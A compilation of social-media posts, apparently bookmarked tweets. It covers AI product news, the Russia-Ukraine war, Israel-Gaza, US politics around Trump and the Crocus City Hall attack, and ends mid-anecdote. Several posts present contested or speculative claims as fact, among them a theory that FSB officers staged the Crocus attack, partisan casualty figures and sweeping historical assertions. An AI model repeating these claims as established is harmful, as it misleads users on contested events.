The model im-also-a-good-gpt2-chatbot was able to generate a full Flappy Bird game in one prompt, with PNG files provided.
And the prompt was simply: "Code Flappy Bird game in Python"
https://t.co/NT8VmmXO0Z
New particle at last! Physicists detect the first “glueball”
It's not a new "fundamental" particle, but finding a glueball — a composite particle made solely out of gluons, with no valence quarks — is a huge deal.
https://t.co/xsdMLJpvHL
(THREAD) This is a brief thread from a NYT-bestselling Trump biographer on what everyone—literally everyone—is missing about the 34 felonies Donald Trump committed to win the 2016 presidential election. This will change how you understand the 2016 election cycle.
Please RETWEET. https://t.co/QkDZsqJcmB
In the occupied part of Zaporizhzhia region, 🇷🇺 occupation administration is preparing the first forced mobilization of residents into the ranks of the 🇷🇺 army, @DefenceHQ reports. This is a deliberate systemic policy of the 🇷🇺 authorities in the occupied territories, which we have seen for years on the example of occupied Crimea, where thousands of 🇺🇦 citizens are being regularly mobilized.
#WarCrimes
some of my family members recently escaped occupation after russian authorities threatened to steal their newborn baby because the parents 'did not have russian passports and therefore were mentally unfit to parent.' happens to every Ukrainian family with kids in the occupation
For the impatient, here's how all the different storage solutions stack up against each other, in several acronym-heavy graphs.
But you want more detail than this don't you? On with the show... https://t.co/AneuckMZet
My first ~decade on this app I refused to find out how it works. I threw ideas into the void, it was beneath me to concern myself over it
But now that I actually know how it works I can throw my ideas into the void much more effectively!
If you're curious here's How Twitter Works
Perspective! Since the beginning of the year, Russia is losing personnel at a rate of 75% of their daily and 100% of their cumulative losses during the Siege of Leningrad in WWII
RF Minister of Defense Shoigu stated today that, "Russian troops have taken control of 547 km² (211 mi²) of new regions since the beginning of the year."
To accomplish this feat, per the AFU, Russian combat losses during this time were:
• 112,130 x Personnel (912/day)
• 1,371 x Tanks (11/day)
• 3,042 x APCs/IFVs (25/day)
• 3,620 x Artillery Pieces (29/day)
• 110 x MLRS's (±1/day)
• 161 x Air Defense Systems (>1/day)
• 19 x Planes
• 3 x Ships
• 4,983 x Trucks (40/day)
• 716 x EW/CB Radar/ELINT/COMINT (±6/day)
For further perspective, the size of the city of St. Petersburg (Leningrad), Russia, is 1,417 km² (556 mi²) or about 2.6 times larger than the area Russia has captured in the last 123 days. During the siege of Leningrad, the Soviet Army lost approximately 1,100,000 killed over a 900-day period.
If we compare then with now , during the siege of Leningrad, the Red Army suffered 1,222 KIA's/day. Since the beginning of the year, the Russian Army has suffered 912 KIA's/day in Ukraine which is equivalent to 75% of their rate of losses in Leningrad.
Also, during WWII, about 32 million persons served in the Red Army so their cumulative losses in Leningrad amounted to ±3.5% of their total manpower. Currently, depending on sources, the Russian army has 3.2 million persons serving including reserves meaning their cumulative losses in Ukraine this year alone amount to ±3.5% of their total manpower.
That is an astonishing rate of Russian KIA's.
Why is this information important? Because many of us rely on maps like those of DeepState as a metric on how the war is progressing. However, unfortunately, the lines on the map, which may be adjusted by 10's of meters per day, are zoomed in on, clipped, and posted as a visual reference of Russian successes. The MSM in the west also uses this same information in their reporting and, without me faulting them, publishes stories about Ukraine "losing ground." They are telling the truth that, currently, the situation is very serious for the Ukrainian defenders. But the story lack perspective and, more importantly, context.
Clearly, a map showing a 50 or 100 meter movement in either direction is insufficient for drawing conclusions about the conduct of the war. Many of us know that but many do not and they end up drawing too many wrong conclusions from too little information. Looking at other metrics like the rate of losses of personnel and materiel is one way good way to balance that equation.
#OSINT #UkraineRussiaWar #UkraineWar #UkraineKrieg #Ukraine #Russia
Re-Tweet Appreciated
Jetbrains IDEs now using a local 0.1B Model with 1.5K token context for single-line suggestions.
"model that has 100 million parameters, with a maximum context size of 1,536 tokens, which is roughly 170 lines of code." - from @jetbrains blog
The models run locally without sending any code over the internet.
https://t.co/9h54pgrVWH
Reporters Without Borders has published the 2024 World Press Freedom Index, and the results are very predictable.
Nordic countries and the Netherlands take the first five spots, and 17 out 20 countries are European. Baltic countries also fared well, all countries making the top 15 and Estonia taking the 6th spot. In Finland, the biggest problem was the safety and protection of journalists, which can in part also attributed to Russian active measures.
Ukraine has improved vastly, and is now ranked at 61st position (79th in 2023). Out of 180 counties, Russia is 162nd. Their allies didn't fare well either:
Venezuela 156
Belarus 167
China 172
Iran 176
North Korea 177
Syria 179
Five million people have clicked on the @veritasium video on black holes featuring @Cosmic_Horizons and seen some Penrose diagrams, so I thought it would be a good time to explain what they are.
I'll do this over a few days using the hashtag #penrosediagram. https://t.co/bnRHuMZ6mW
The noose is tightening
Russia is the only Nation with a large number of icebreakers so that red line up top is owned by Putin (even the part over North America considering the Canadian Navy is tiny and doesn’t have a single destroyer)
The line on the upper left between Russia and USA. The US military thinks they can sustain operations here. We can’t. Our Alaska exercises are performed via airlift, we don’t have the tankers to support that and haven’t built the infrastructure to sustain via sealift. That line is either a draw or Putin’s.
China is flooding influence into Panama. USA was wholly unable to stop 520,000 migrants that crossed bridges over the canal. Even if we could control it those canal gates are mechanical and subject to sabotage. So that line in the middle is blocked by Xi
China is also surging capital into Argentina (and making military deals with South Africa) so that line below is in question.
If Argentina is compromised the US Navy’s entire east coast fleet is locked in the Atlantic. That is unlikely but Argentina’s military is weak, could Xi invade the southern tip?
The far left line is the Taiwan & Luzon straits. China has more warships than the entire US Navy and almost all of them are concentrated on this spot.
The bottom left line is guarded by Australia but they only have 50 Navy ships (most smaller than US Navy equivalents) and 16,000 personnel. The Chinese Navy has 240,000 people and 370 surface ships and submarines.
🇺🇸 dominates the sky but all the airlift capacity of the US is less than the cargo capacity of ONE china built mega-containership.
What about across the USA? Military equipment is heavy and difficult to drive over roads in mass quantities. You can move a lot but military trucks require an enormous amount of fuel. What about Trains? Those are much better but fairly simple to sabotage. Remember those migrants crossing over the Panama Canal? Many are Chinese and if they hit US refineries and tracks there goes our land route.
A very good friend told me to get a copy of Metamagical Themas. This is actually a collection of articles written for Scientific American but its scope was absolutely wandering, and nuts. Way wider than anything I'd ever read https://t.co/VsiC3eWhaL
Is this "Yanukovich moment" of Georgia’s oligarch? It seems so. Bidzina Ivanishvili, the oligarch behind ruling Georgian Dream confirmed yesterday what we have observed since he came to power in 2012 – he announced a shift in Georgia’s foreign policy & political repressions. 1/13
The GPS-jammer affecting aircrafts around Estonia is located in Russia, about halfway to St Petersburg from Narva, Estonia.
This is shown by plotting the highest density of intersecting radio horizons of jammed aircrafts on a map.
Further, a drone-based method supports it.🧵 https://t.co/RbUnZkkqJ1
We have successfully documented the entire Russian missiles industry, mapping 28 of its key enterprises. Read our first OSINT sample focusing on the Votkinsk Plant, a major producer of intercontinental ballistic missiles. How does it make weaponry?
https://t.co/3mWIDqLvfU https://t.co/WH1MNrxeZV
Interview with quantum maxer, e/acc founder, thermodynamic pioneer, CEO & Cofounder of Extropic @GillVerd/@beffjezos for Episode 41 of S³
0:00 What’s behind you?
1:29 What is Extropic?
4:08 Young Gill
7:12 Why Extropic?
11:25 Secret quantum lab experience
13:05 How does Extropic work?
16:20 Hardest technical challenge
17:50 Quantum & silicon strapping
20:56 Why decentralize AI
24:00 Doomerism
25:48 E/acc vitality
28:13 Regulatory capture
30:32 Founder learnings
31:36 How do you think?
33:23 What does deep tech get wrong?
35:53 How do we inspire people?
37:22 Current life philosophy
I wrote this back in February. My area of Psychology research is disinformation. Want to know why people cling to silly accusations like “genocide” and “slaughter” and these lies are so popular, when all the facts demonstrably point in the opposite direction? Read on…
An effective disinformation campaign needs repetition.
An effective disinformation campaign needs repetition.
An effective disinformation campaign needs repetition.
Ever wondered why that is? Ever wondered how words and phrases take hold? Allow me to explain.
It’s called Illusory Truth Effect. When the same false information is repeated time and time again, often people will come to believe it. Even when people set out knowing that bit of false information is untrue.
It’s heavily connected to social proof (see post in my Highlights). Illusory Truth Effect is when our gut feeling that something must be true overrides our knowledge that it is not. Particularly when coming from an in-group of people we feel social connection to and it is targeted against an out-group (“the other side”).
It’s as if social media was designed to exploit this psychological tendency. In the social media age, it is as easy as 🔁 to share disinformation. Just a press on a screen. Malign actors know that all they have to do to help disinformation gain traction is repeat it again and again. Bot farms comprising thousands of social media accounts are useful to “seed” this sharing and repetition.
“Hey, that post has thousands of likes and it supports what I believe to be right. Must be true. Repost/share/retweet.”
You might think you’re a rational, critical thinker. I know I try to be! But that doesn’t matter. We all make 35,000 decisions every day. It is psychologically impossible for all of them to be rational. Now factor in the deluge of information daily over social media (the average users spends 2.5hrs a day on social media! That’s a lot of info). Nobody has a chance of analysing it all.
The brain relies on biases and heuristics - mental shortcuts - to prevent cognitive overload in the face of all this decision-making and information. This often leads to errors in judgment.
Why? Well, 90-odd% of the time we’re thinking automatically. It’s easier; less strain than rationally thinking things through. This is called process fluency. If it’s effortless to process a piece of information, we feel like it must be accurate.
We are also prone to the anchoring effect - a preference for pre-existing knowledge over new information. Combine this with social proof, biases, processing fluency, Illusory Truth Effect, and the ease of passing that information on using social media, and you have a cocktail made for sharing incorrect information.
So if you’ve ever wondered how plainly incorrect information gets shared and believed - that’s how. That’s how a lie gets around the world before the truth has its boots on.
Illusory Truth Effect is tricking you.
Illusory Truth Effect is tricking you.
Illusory Truth Effect is tricking you.
Illusory Truth Effect is tricking you.
Or is it? Do your own confirmation and research. It’s the only way to be certain of anything you see online.
In the last month, we’ve seen Israel withdraw all but one brigade from combat ops in Gaza (as a pre-Rafah move, admittedly); Hamas have admitted they invented 11,000 of their reported casualties; the President of the ICJ has rebutted “plausible genocide”; and Gaza has been flooded with aid.
Yet protests (in the US particularly) are escalating. Against every piece of factual evidence, the words “slaughter”, “genocide” and “starvation” are thrown around relentlessly, and casualty figures higher even than Hamas report are thrown around as accusation.
Proof of the power of the narrative and the impressive information war Hamas has waged. It shows how difficult it is to fight once the disinformation narrative takes hold. Once people create a belief and a worldview, and reinforce it with groupthink, even solid facts to the contrary can’t change their minds.
Romania had the most brutal communist regime in the entire Eastern Europe but few people know why Russia hated us the most.
Romania had the 3rd largest Axis army in Europe, in order to take Moldova back we joined Nazi Germany and attacked USSR with over 1 million soldiers. German and Romanian troops took Moldova back, conquered Odesa and Sevastopol and marched toward Stalingrad where we got defeated (my grandpa also died there). The Soviets got their revenge after the war by sucking up all natural resources, killing all our intellectuals (my wife's uncle was killed with a sledgehammer) and installing the worst scums as leaders of the communist party. Comparing to ours, the commie regimes from Hungary and Czechoslovakia could have been regarded as liberal.
The sad thing is that ~20% of our current population still supports Russia. Communists destroyed critical thinking and replaced it with propaganda, fake nationalist stories, fake history, conspiration theories and fear. Fear of freedom. After the Revolution these lost and confused people couldn't find themselves in the new world in which the individual had to fight, to learn, to adapt, to compete in order to earn a decent living. All they have left is hate towards the ones who succeeded thus becoming "the enemy within" ready to throw back the country in its darkest period.
The only weapon we have is the vote stamp.
Lindsey Graham: Everybody who says we should do something about border legislation, you're absolutely right but unfortunately, we didn't get there because Trump opposed the bipartisan border deal. I hate that https://t.co/3aTgfqT2bY
Twenty years ago on this day, April 23, 2004, Presidents of Ukraine and Russia celebrated signing of the Russia-Ukraine Border Treaty. When Putin's says that he has not, personally, signed treaties with 1991 borders with Crimea as a part of Ukraine, he is simply lying. https://t.co/y4vCCuunw3
The best way to understand somewhere is firsthand. I went to Israel.
This is the first of a few threads. Everything I post is from primary sources and independently verified wherever possible. All photos & videos my own.
To begin: 7 October 2023.
Warning: violence.
🧵 1/ https://t.co/E87T2dTyCv
Matt Gaetz has more than a minor problem — According to the statement provided to the committee, said she saw the then-minor naked at the party, which was also attended by adult men other than Gaetz, and that at the party there allegedly were bedrooms that were made available for sexual activities and alcohol and drugs including cocaine and MDMA.
Intel Unveils Massive AI System That Mimics the Human Brain
—
Intel has created the largest artificial intelligence (AI) system ever built that is designed to function like the human brain. Dubbed "Hala Point," this neuromorphic computer contains over 1 billion artificial neurons and 128 billion artificial synapses spread across 1,152 specialized AI chips called Loihi 2 processors.
Neuromorphic computing takes inspiration from the architecture of the brain, using interconnected artificial neurons and synapses rather than the conventional binary processors found in modern computers. Data flows through these neuron-like nodes in parallel, mimicking how the brain processes information.
The key advantages of this brain-inspired approach are massive parallelism and extreme energy efficiency compared to conventional AI hardware like GPUs and CPUs. Intel claims Hala Point can perform AI workloads 50 times faster while using 100 times less energy than equivalent traditional computing systems.
With a staggering 20 quadrillion operations per second of performance, Hala Point demonstrates the potential of large-scale neuromorphic computing for accelerating AI research and applications. It initially will be deployed at Sandia National Laboratories to tackle problems across device physics, computing architecture, and computer science.
While still an early research prototype, systems like Hala Point could eventually enable continuous learning AI models that can dynamically incorporate new data, overcoming the massive training requirements of current approaches. Intel sees neuromorphic computing as a potential game-changer that more faithfully recreates how human cognition operates.
i’ve been thinking about Meta’s support for open-source AI all day, wondering what zuck’s business justification must be. you can’t run a $1T co on ideology alone.
but when you google the financials of Meta ($134B/yr) compared to a co like OAI, ($1.6B) it starts to make sense:
WHO SAID SANCTIONS DON'T WORK?
1/6 Russia has been exporting gas in LNG form from the LNG2 facility in the arctic. However it’s run into problems, and this week NOVTEK who operate the plant has issued ‘force majeure’ notices to customers saying they can't deliver https://t.co/1X43BC1yay
The worst traffic jam ever in China (and possibly in the wolrd) was reported on August 14, 2010. It lasted 12 days and stretched over 100 km.
This jam started when a number of heavy trucks and cars tried to cross the Beijing-Tibet Expressway.
https://t.co/eng4Uotcgb
Heat maps showing the distribution of the Mutual Pleasure Index for both touch and look modalities, for men and women separately.
[read more: https://t.co/37t8PPiJo4] https://t.co/0Louqv2X96
The company that saved Donald Trump with a $175 million bank fraud bond is playing an insurance game that has experts questioning whether New York will ever see the money.
Welcome to the world of offshore "captive reinsurance."
Story @thedailybeast: https://t.co/p4j0YDRSzd
A former CIA officer explains how a vast, pro-Putin corruption network uncovered in Europe is a warning sign for the U.S.
From @alexzfinley: https://t.co/1pREiRMnTT
Hamas is now saying Israel has killed 22,000, not 33,000 Gazans -- meaning the combatant to noncombatant ratio in this war is greater than 1:1, which would be a phenomenal, life-saving achievement.
Unsurprisingly, legacy media is crickets.
https://t.co/9lGdocpDne
That so many people buy into this reflects:
(i) how we as a country are now so far removed from manufacturing that we understand so little of it (as demonstrated here and many similar replies), and
(ii) the difference between ideas and execution.
Bill Clinton in 2016: “I killed myself to give the Palestinians a state. I had a deal they turned down that would have given them all of Gaza... between 96%-97% of the West Bank, compensating land in Israel, you name it."
“Hamas is really smart. When they decide to rocket Israel, they insinuate themselves in the hospitals, in the schools, in the highly populous areas, and they are smart. They said they try to put the Israelis in a position of either not defending themselves or killing innocents. They’re good at it. They’re smart. They’ve been doing this a long time.”
Remember the “Giga Press” that Tesla developed with a Chinese-owned company?
Xiaomi is using similar “gigacasting” machines to make its new SU7 EVs. These machines are rumored to be made by Haitian Die Casting in Ningbo https://t.co/k5hAYQqH5y
NEW: Russian troops are carrying out “systematic” chemical weapons attacks on Ukrainian troops across the frontline, according to multiple Ukrainian soldiers I spoke to.
My piece for The Telegraph:👇
https://t.co/5BDuusckyK
More: the story involves powerful retired Adm. Bill Owens likely allowing the hack to happen/continue while he was president of Nortel, then becoming a lobbyist (and business partner) in DC for the Chinese firm behind the hack a few years later.
Said lobbying activity being getting the Chinese firm...US defense contracts.
That company is, of course, Huawei.
1. @elonmusk is promoting claims that hundreds of thousands of undocumented immigrants are registering to vote in the 2024 election
The "data" that Musk is sharing with tens of millions of his followers is COMPLETE BOGUS
Follow along for the full debunk https://t.co/7eG7hieVpO
In October 2017, astronomers made a startling discovery that captivated the world's imagination: an object hurtling through our Solar System at an incredible speed, seemingly originating from interstellar space. Named 'Oumuamua which loosely translates to "scout" ... 1/ https://t.co/8EzfIkN1nA
I broadly agree with this thread, but there's a few aspects where I think the scale and magnitude of the issues on modern ships is maybe not clear.
The number of modern vessels that have all their critical safety systems air gapped is getting lower and lower.
In addressing the Havana Syndrome controversy, I'd stick to the old golden triangle for crime investigations: who had the Motive, Means and Opportunity - and if a suspect is found, does s/he have an Alibi (short thread)
#OsintGuild224 #1pageassessukrwar #UkraineRussiaWar #Ukraine️ #UkraineWillWin
APR 2 update regarding Guild 224. Slow growth in followers for 1Q24: 2%...same as 4Q24...down from double digit rates previously. Why?
My hypothesis is that twitter has ring fenced the guild. Evidence? Number of new followers per tweet. Examined it for the 60+ members compared to previous periods. So why the ring fencing (change up in algorithm)? Or, is there just less interest in the war? Or, is twitter losing steam...like a lot of steam?
Anyways, Guild 224 keeps pumping interesting content. 😀
This final waterfall chart visualises the cumulative impact of the monthly changes on overall occupation.
The grey bars represent the total area occupied at the start of the war and the total area occupied when the chart was created. https://t.co/iORAnoh1WG
How “from Vladivostok to Dublin” became a central mantra of Russian fascism 🧵
It might come as a surprise to 🇮🇪 citizens to discover that 🇮🇪 features explicitly and frequently in Alexander Dugin's book "Foundations of Geopolitics" which influenced Kremlin strategy.
1/11 https://t.co/lDhSEm8IIX
Breaking
The Manhattan DA tells the judge that Trump's "dangerous, violent, and reprehensible rhetoric fundamentally threatens the integrity of these proceedings," in a new filing urging him to expand the gag order. https://t.co/re1wOd6Hcl
It is starting to look very embarrassing for Russia.
Not only the West warned Russia that an IS attack is imminent, even the allied Mullah regime in Iran warned that the Afghan/Tajik branch of the Islamic State is about to strike.
But when you are so deluded as Putin is then everything is a Western ploy. Aside from the fact that Russian intelligence agencies only exist to protect the regime which also means that most of the resources are needed to suppress the own population.
Russian attempts to pin this on Ukraine especially in such a transparently stupid way should be another signal that you can’t reason with Moscow.
Source: https://t.co/bsYA1ZGHGQ
Swarovski has introduced AI-powered binoculars capable of identifying over 9,000 bird species swiftly.
These binoculars also feature photo and video capabilities, enabling users to capture and share their discoveries seamlessly.
📹 capslockai
https://t.co/bn2LgXF3fA
NEW: A yearlong investigation by @InsiderEng, @60Minutes and @derspiegel has uncovered evidence suggesting that Havana Syndrome may have its origin in the use of directed energy weapons wielded by the Russian GRU’s infamous Unit 29155. https://t.co/i9tSdg9Ehh
The Soviet Union was losing the war against Germany.
Only the 🇺🇸 US industry saved the Soviets.
In 1941 in seven months of war in the East the Wehrmacht suffered 285,400 irrecoverable losses vs. 3,137,673 irrecoverable Soviet losses. A ratio of 1 to 11 (!).
1/6 https://t.co/N3Zs8yFJs6
Brilliant: NVIDIA hired Mythbusters in 2009 to explain how GPUs use parallel processing to render graphics more effectively than CPUs...
and they did it by painting the Mona Lisa in 80ms https://t.co/1s7sXGEQLs
This is insane! 🤯
You can now make videos of characters using just ONE image.
And maintain consistency with the character regardless of the scenes you create.
Here's how it works: https://t.co/ZCCF4II9vZ
The "Soviets defeated the nazis in WWII" nonsense is making the rounds again...
Reality: the Soviets contributed nothing to the strategic campaigns against Germany:
Western allies share of:
• strategic bombing of Germany: 99.8%
• Luftwaffe air power destruction: 84.4%
1/3 https://t.co/uzVurjpW1j
Russia has decided to solve the problem of the shortage of soldiers through migrants from Central Asian countries. In terms of the number of labor migrants, Russia ranks 4th in the world. At the moment there are about 7 million. Most of them live and work in the areas of
1/15 https://t.co/lpxR5Q4JN0
Ukraine's ability to recover tanks and vehicles makes Russia its main supplier.
Now Ukraine has more and more modern tanks than at the beginning of the war.
Oryx data confirmed by photos: https://t.co/pDj9AIiSvV… https://t.co/l7pZmoBz8Z…
The Black Sea Fleet has had to leave Sevastopol. There is only one operational ship left, the rest are hidden in distant estuaries.
Is no longer operational and cannot escape either. Turkey does not allow him passage through the Bosphorus Strait.
https://t.co/epIvQE2oJy
Based on Russian Pension Fund data, men with disabilities increased by 507,000 or 30% in 2023.
This confirms that the total Russian casualties are now 1 million dead and disabled.
Material losses are also astonishing.
Russia only has "meat" and old equipment.
Ukraine need ammo.
Sources:
507.000 more disabled only in 2023
https://t.co/VUBAoaCwGY
Oryx data confirmed by photos:
https://t.co/AZbgPReHNP
https://t.co/LIuCrlbh9a
Other sources
https://t.co/SXx1nnVZqK
https://t.co/MbdXZBOulE
https://t.co/kJrOxm8Pbr
https://t.co/egBAQuqS5D
Also watch
https://t.co/2bZFr49qx1
You said you are, "Not really concerned about the US army which has lost all wars since 1945." (Emphasis added.) Kindly allow me to sprinkle a few facts on this sh*t sandwich fantasy of yours:
1991, Gulf War: The U.S. military waged war against Saddam Hussein's military, which was then the 4th-largest in the world, well-equipped with top-of-the-line Soviet hardware, and fresh from eight years of combat experience battling Iran. Battlefield result? The U.S.-led Coalition unilaterally called an end to the conflict after 100 hours because the Iraqi military had been absolutely pulverized and was forced to flee from Kuwait.
2001, Afghanistan. A month after the 9/11 attacks, the U.S. military attacked the Taliban in Afghanistan and forced them out of power in a matter of weeks.
2003, Iraq. How long did Saddam Hussein's military last after the U.S. military invaded? (Google it; I'll wait.)
Bottom line: In both Afghanistan and Iraq, the U.S. military made very short work of opposing militaries.
So, it looks like your assertion about the U.S. military's track record is about as factual and accurate as virtually all the statements flatulated by the Russian government these days.
Here's the github repo: https://t.co/tKQQtK2FN1
There're also more examples in the deployed version: https://t.co/eVia0sgcjb
This is a really early experiment, a lot of the results will suck! But I think it's an interesting concept that should be explored further. Enjoy!
HOLY CRAP!
Lev Parnas just released this video that completely destroys the entire Hunter Biden/Joe Biden bribery narrative by the GOP:
In the video Rudy Giuliani is sitting next to Lev Parnas, questioning Viktor Shokin over the phone.
Giuliani: “Was there ever any specific act that any of these people performed? Did they get a kick back? Did they get a bribe?”
Shokin - “No”.
Please follow @levparnas. He is systematically taking apart the whole Hunter Biden lie with actual evidence.
Member of the Russian Parliament Andrei Lugovoy called for humanitarian disaster in Kharkiv to force the local population escape to the West
These are calls for genocide and ethnic cleansing.
Russians openly say that their goal is to expel Ukrainians from Ukraine https://t.co/KvfcbY6GzF
BRICKS, a friend to russia????
🇧🇷 closed banks, blocked sales, refuses to send mil gear back. selling ammo to others to free up ammo for ukraine. 400 million in trade with ukraine every year.
🇮🇳 closed banks, refuses oil, refuses to send back mil gear, canceled orders. selling ammo to ukraine
🇨🇳 closed banks, buys oil below cap, refused to send military gear. dumping vehicles on the market, selling gear to ukraine.
🇿🇦 selling ammo to NATO, closed banks, refused to send gear back.
🇪🇬 canceled orders, refused to sell military gear to ru, blocked money transfers.. selling ammo to others to free up ammo for ukraine.
🇪🇹 has not helped at all
🇮🇷 now selling weapons only for gold.
🇦🇪 closing banks, refusing to send military gear.
OH MY GOD!! THE EVENT HORIZON TELESCOPE HAS REVEALED STRONG MAGNETIC FIELDS AROUND THE EDGE OF SAGITTARIUS A*, THE BLACK HOLE AT THE CENTER OF THE MILKY WAY IN THIS BRAND NEW IMAGE! https://t.co/cfCcTLCBJp
Mponeng gold mine, owned by AngloGold Ashanti, holds the title of the world's deepest mine. Situated near Johannesburg, South Africa, it has reached an operating depth of 3.9 km below the surface, with ongoing expansions aiming for even greater depths.
https://t.co/rYPS05Mt5K
At least 32 Ukrainian prisoners of war (POWs), recently captured by Russia, have been executed between Dec. 1, 2023, and Feb. 29, a report by the Office of the U.N. High Commissioner for Human Rights (OHCHR) said on March 26.
https://t.co/q5nCDEHfSK
🧵UN's own data debunks another libel against Israel: unprecedented destruction in Gaza claimed at >60%. But March 20 report says only 19% of Gaza buildings destroyed or severely damaged, far less than fake data pushed by NGOs & media to imply Israeli crimes. See analysis: 1/12
"If your enemy has a problem, turn it into a catastrophe"
Head of the SBU, Vasyl Malyuk explains the strategy that is destroying Russian economy.
"Budanov' Sanctions" work as well or better than the Western ones.
And this hurts also the pockets of Putin's oligarchs.
Original footages from Telegram Channels and,
Drone Attacks Ruin Russian Economy - Oil Trade in Crisis https://t.co/SyisU5joVP via @YouTube
FSB officers could have been in the concert hall during the terrorist attack in Moscow
We analyzed the footage of the terrorist attack in "Crocus City Hall" and noticed that in the concert hall, where the bloodiest events of the terrorist attack broke out, there are several people similarly dressed in blue sweatshirt and jeans.
If you look at them, you will notice a few atypical actions on their part for such situations.
First of all, their clothing. The blue sweatshirt and jeans is a pretty casual combination, which helps them blend in with the crowd while being quite noticeable to each other. They are clearly visible at the exit, but if you look closely, the "men in blue" can be spotted in other parts of the hall.
Secondly, their behavior. They are all calm, not running anywhere, not panicking. In the video one man in a blue sweater and jeans even pushes back into the aisle between the seats a woman who was heading towards the exit (photo 2). Later this man starts filming on his phone. It can be seen that the "men in blue" look at each other from time to time.
At some point in the video, a male voice from behind, where the alleged "FSB officer" is sitting, suggests closing the doors, and the "men in blue" take turns supporting this idea, creating the illusion of mass support for this idea. Subsequently, this will lead to the fact that many people will not be able to get out of the hall due to closed doors and will die.
I wrote this Format dialog back on a rainy Thursday morning at Microsoft in late 1994, I think it was.
We were porting the bajillion lines of code from the Windows95 user interface over to NT, and Format was just one of those areas where WindowsNT was different enough from Windows95 that we had to come up with some custom UI.
I got out a piece of paper and wrote down all the options and choices you could make with respect to formatting a disk, like filesystem, label, cluster size, compression, encryption, and so on.
Then I busted out VC++2.0 and used the Resource Editor to lay out a simple vertical stack of all the choices you had to make, in the approximate order you had to make. It wasn't elegant, but it would do until the elegant UI arrived.
That was some 30 years ago, and the dialog is still my temporary one from that Thursday morning, so be careful about checking in "temporary" solutions!
I also had to decide how much "cluster slack" would be too much, and that wound up constraining the format size of a FAT volume to 32GB. That limit was also an arbitrary choice that morning, and one that has stuck with us as a permanent side effect.
So remember... there are no "temporary" checkins :)
Follow me for more random code musings!
But as I wrote yesterday, it might be difficult to ignore the evidence. For example, the fact that ISIS has access to video from the terrorist cameras, while Russian security doesn’t (yet) 20/
This guy is a former employee of Crocus. He’s convinced that the FSB was behind that attack because Putin needs conscripts to occupy Kharkiv.
He said that the billionaire who owned it put tons of money into it, and they had the best security, fire extinguishing systems, and reservoirs. There was no way for them not to work or even let anyone with explosives or weapons in.
Also, OMON base was located opposite the Crocus, and it took an hour for them to come. Too many “coincidences”.
I've seen a lot of people say they don't believe in climate change because "we're too small relative to the earth," and I think we've really failed in teaching those people something fundamental about what the scale of our relationship to the earth actually is.
Russia built a military port on the occupied territory of Georgia.
It is located in "Abkhazia", just 30 km from the Georgia-controlled territory. Earlier, Russia said it plans to base its warships there.
Georgia's foreign ministry said earlier it would be a "flagrant violation of Georgia's sovereignty and territorial integrity".
Take a break today and listen to some inspiring and uplifting Hutsul music. (I’m a bit biased because I come from a long line of scrappy Hutsul and Boyko women 🔥)
Right now it’s more important than ever to keep Ukrainian arts and culture alive. Rxssia has been trying to erase Ukrainian language, culture, and history for centuries, even stealing our music.
The musical group Gerdan Theater has been performing traditional Ukrainian songs across Canada, raising money for frontline defenders.
In this video taken at Barrel House Korchma, Ivanka Siolkowsky requested a little silly song called “Tyndy-Ryndy”; a song typically sung whilst sitting around and spending time with friends.
The phrase doesn’t have a specific meaning, it’s similar to “blah blah blah”. The singer asks listeners to return their “tyndy-ryndy”, and warns anyone claiming it for themselves.
(content/video: tidymoose IG)
My great friend and former colleague , @PatrickWeninger , multiple x COS and head of global Russian ops, makes his ntl security podcast debut! What an episode, on variety of subjects. Sincere 🙏 to Pat - all Americans owe this man a beer (or three) for his service 🇺🇸🇺🇸
BREAKING: in the New York election interference case the judge has ruled on the motions in limine
It’s a disaster for Trump and a home run for the DA
Probably a signal that trial will proceed in April
A thread 1/x
https://t.co/nJLmEIkbO3
For anyone that still thinks Paul’s rise to power in DUNE is up for interpretation… here’s Denis setting the record straight.
He rewrote Chani to basically spoon feed the audience that “Paul is bad” - but it’s quite clear a lot of DUNE fans think he’s still like Luke Skywalker, which just reinforces the ideas the book/movies propose about messianic figures.
Denis is still going to have to make Messiah to deal with same issue Herbert had.
#1pageassessukrwar #OrcLossRate #Ukraine #UkraineWar #UkraineRussianWar #ktoRussianTankShortage
Little tsar, Shoigu and the Ghost of General G continue building their historic achievement of suffering the most tank losses ever in a modern conflict. Concurrently, between what Ukraine has captured (Russians like to abandon their tanks in working condition) and received from NATO, they have neutralized the tremendous armor advantage Russia began the war with. Will do a thread on that soon (did one last year, time to update it).
Additionally, been a number of OSINTand #OSINTGuild224 folks digging into Russia's tank shortage now:
https://t.co/L5OLrYEsov
https://t.co/t4czAEtca4
https://t.co/9XFrlGUut9
...and using crapola T54/T55 :
https://t.co/Lp3EjdJNHH
...shortage of decent optics
https://t.co/vD1V31VgBn
...and a shortage of trained tank crews:
https://t.co/hQ8umLiZur
...predicted serious tank shortage latter this year
https://t.co/Td7OI4K4UU
...a lot of this analysis out there...will distill it in a thread.
Anyways, congrats again, to the little tsar & Russia for their historic achievement (and a shout to Ukraine for helping Russia at destroying the former Russian armor advantage)!
#1pageassessukrwar #OrcLossRate #Ukraine #UkraineWar
Since OCT 2023, Russian troop losses have been running at 1.5x vs the rate they loss during the Bakhmut battle.
Tank losses relative to troop losses significantly down since late 2023: little tsar going with meat wave strategy - tanks not needed (after losing most of the Russian functional tank force the last two years).
Very interesting story written by a Ukrainian scholar trying to calculate Russia's aircraft situation. Long story short, losses are running considerably above production--as such less good aircraft will have to be used or operations scaled back. Conclusion below. https://t.co/9fQzhxoDpJ
#DemVoice1 #ProudBlueEditorials #DemsUnited
”This editorial is solely my own opinion.I alone am responsible for the content”
A personal story about Donald Trump, Marla Maples. The “Carpet King” Bob Shaw, Adolph Hitler and my wife Martha.
My wife is a computer engineer. She sets up and runs large computer servers for companies and the government. She has worked all over the country from Connecticut where she set up servers used to support our nuclear submarine fleet. To Dallas where she worked for Ross Perot at EDS and many other large corporations. In 1996. Martha was working at Shaw Industries Group in Dalton, Georgia. Shaw is the largest carpet manufacturer in the world. Dalton, Georgia is dominated by the carpet and flooring industry. The CEO was Bob Shaw. His family built the carpet business and he was very influential in Georgia Republican politics.
In 1996, Donald Trump has been married to Dalton native Marla Maples since 1993. Since Marla had family in Dalton, she and Trump visited often. They were seen around town many times. But on this particular visit, Trump was meeting with Bob Shaw for dinner. Shaw invited some of his employees to the dinner at the popular Dalton restaurant “The Depot”. My wife Martha was one of those employees invited to have dinner with Shaw, Marla Maples and Donald Trump. It was a dinner she will never forget.
